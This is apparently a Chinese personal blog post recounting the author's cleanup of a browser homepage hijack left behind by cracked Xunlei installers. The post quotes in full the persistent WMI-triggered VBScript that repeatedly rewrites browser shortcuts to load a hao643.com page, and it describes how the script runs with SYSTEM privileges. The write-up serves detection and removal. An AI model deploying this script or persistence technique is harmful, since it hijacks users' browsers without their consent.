记一次浏览器被hao123劫持的经历
这周装了几个号称破解版的迅雷,虽然全部卸载了,但是打开浏览器的时候,突然发现,所有浏览器的首页全部被hao123给劫持了。第一反应是,完了,中木马了。但是用了一段时间发现,貌似只是浏览器首页被hao123劫持,并没有出现别的异常。
网上搜索了一下,chrome主页被篡改,找到了原因。原来,所有的浏览器快捷方式后缀都被加上了hao123的主页地址,通过这么一个简单的修改,就能达到劫持主页的效果,果然简单粗暴。
我用Everything,搜索出了所有的浏览器快捷方式,一一修改之后,再次打开浏览器,一切回归正常。正当我以为没什么问题了之后,隔了一段时间再次打开浏览器时,突然发现,浏览器主页又再次变回了hao123,查看快捷方式一看,果不其然,之前修改了的快捷方式又被加上了hao123的后缀。
我的第一反应是,有进程在定时运行脚步,修改快捷方式。我先是打开了计划任务,查看有没有异常的任务在运行,并没有。然后我又查找了任务管理器的后台进程,也没啥异常的,最后又看了一下服务也没有发现有异常的。没办法只能网上再去找找解决办法,别说还真的有解答。
网上很多人都说有一个叫scrcons.exe的进程会自启动,修改快速启动栏命令,然后自动关闭,难怪我在任务管理器后台进程里找不到。那么这个scrcons.exe进程又是由谁来发起的呢?带着这个疑问我们不妨先安装一个WMI Tools,然后用管理员身份打开WMI Event Viewer工具。切记用管理员身份打开,不然后面删除操作可能会报删不掉的警告。
默认打开路径为root\CIMV2
,反正我打开就这个路径,不用输入用户名和密码,直接点OK。
我们会找到一段VBScript,右键单击,选择view instant properties。
ScriptText的内容如下
On Error Resume Next:Const link = “http://hao643.com/?r=ggggg&m=d15":Const link360 = “http://hao643.com/?r=ggggg&m=d15&> s=3”:browsers = “114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.> exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.> exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.> exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe”:lnkpaths = > “C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start > Menu\Programs,C:\Users\Administrator\Desktop,C:\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\Quick > Launch,C:\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User > Pinned\StartMenu,C:\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User > Pinned\TaskBar,C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs”:browsersArr = split(browsers,”,”)> :Set oDic = CreateObject(“scripting.dictionary”):For Each browser In browsersArr:oDic.Add LCase(browser), > browser:Next:lnkpathsArr = split(lnkpaths,”,”):Set oFolders = CreateObject(“scripting.dictionary”):For Each lnkpath In > lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject(“Scripting.Filesystemobject”):Set WshShell = CreateObject> (“Wscript.Shell”):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).> Files:If LCase(fso.GetExtensionName(file.Path)) = “lnk” Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = > oShellLink.TargetPath:name = fso.GetBaseName(path) & “.” & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase> (name) = LCase(“360se.exe”) Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And > 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next:
明眼人都看得出这段脚本的意思,原来这个脚本是由WMI发起的定时自动运行脚本。对于WMI的解释,我是没看懂,维基百科上的解释是这样子的
Windows管理规范(Windows Management Instrumentation,缩写WMI)由一系列对Windows Driver Model的扩展组成,它通过仪器组件提供信息和通知,提供了一个操作系统的接口。WMI是微软对分布式管理工作组(DMTF)的基于Web的企业管理类(WBEM)和通用信息模型(CIM)标准的实现。
WMI允许脚本语言(例如VBScript或Windows PowerShell)来本地或远程管理Microsoft Windows个人电脑和服务器。
自定义的脚本运行时,由WMI发起,由系统自带的scrcons.exe作为脚本宿主进行解析,而scrcons.exe是由系统以 SYSTEM权限启动的,也就是说,我们的脚本是以SYSTEM权限执行,并且其所创建的任意进程都会继承SYSTEM权限。所以,这也解释了为什么会定时出现scrcons.exe进程的原因。
既然找到了源头,就应该斩草除根,删掉这段脚本,最后再将快捷方式的后缀删除就大功告成了。